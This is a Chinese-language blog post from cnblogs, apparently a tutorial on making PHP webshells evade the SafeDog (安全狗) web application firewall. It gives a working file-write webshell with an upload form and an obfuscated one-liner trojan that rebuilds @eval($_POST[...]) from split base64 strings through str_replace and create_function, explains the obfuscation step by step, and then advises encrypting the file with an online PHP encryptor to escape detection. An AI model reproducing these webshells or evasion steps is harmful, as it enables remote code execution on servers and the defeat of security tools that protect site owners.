webshell安全狗免杀(一)
有这样一段php代码:
<?php $filename = $_GET['filename']; include($filename); ?>
定义一个变量,以get方式接收的filename参数,赋值给$filename,在调用的时候包含变量$filename,访问这样的一个文件时,会遭到WAF安全狗的拦截,存在WAF限制规则的特征码,
现有这样一段php代码:
<? $path = $_POST['x']; $text = $_POST['y']; $file = fopen($path, "w+"); fwrite($file,$text); fclose($file); ?> <form action="" method="post"> 读取当前文件路径: <? echo $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'];?></br> 保存路径:<input name="x" type="text" /><br> 写入内容:<br><textarea name="y" cols="90" rows="50"></textarea></br> <input name="" type="submit" value="提交"/> </form>
将这一段php代码访问后,
发现可以正常解析到web访问,原因就是代码中没有WAF限制的特征码,所以能绕过检测机制,
一句话木马绕过WAF:
有这样一段php代码:
<?php $mt="JF9QT1N"; $ojj="QGV2YWwo"; $hsa="UWydpMGle"; $fnx="5BeSleleddKTs="; $zk = str_replace("d","","sdtdrd_redpdldadcde"); $ef = $zk("z", "", "zbazsze64_zdzeczodze"); $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); $zvm(); ?> <?
原理就是将一句话木马进行base64加密,分别赋值不同的变量,再由str_replace()函数做各种替换,再进行拼接,最终得到我们想要的payload,
str_replace():参数:("需要匹配的字符","替换字符","需要匹配的对象")
经过base64解密层层替换拼接得到最终执行代码:
$zk=str_replace("d","","sdtdrd_redpdldadcde")=str_replace // $zk=str_replace $ef=str_replace("z", "", "zbazsze64_zdzeczodze")=base64_decode // $ef=base64_decode $dva=str_replace("p","","pcprpepaptpe_fpupnpcptpipopn")=create_function //$dva=create_function $ojj.$mt.$hsa.$fnx=QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs= str_replace(("le", "", "QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=")=QGV2YWwoJF9QT1NUWydpMG5BeSddKTs= base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=")=@eval($_POST['i0nAy']); create_function('',@eval($_POST['i0nAy']);) $zvm();
将它生成一个txt文件,在WAF安全狗里面检测
安全狗扫出了变形木马,在web访问时,肯定被安全狗拦下,
这个时候,就要对php文件做处理,通过给它加密,绕过安全狗检测或变为安全狗检测不到的特征码,利用php在线加密:www.phpjm.net/encode.html
php经过加密后,利用自带调试功能的firefox浏览器访问,
可以看到,php文件已经成功访问,并且经过加密后安全狗检测也是不能发现它是危险代码
本文来自博客园,作者:田家少闲月-,转载请注明原文链接:https://www.cnblogs.com/zhaoyunxiang/p/15349119.html
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· PostgreSQL 和 SQL Server 在统计信息维护中的关键差异
· C++代码改造为UTF-8编码问题的总结
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库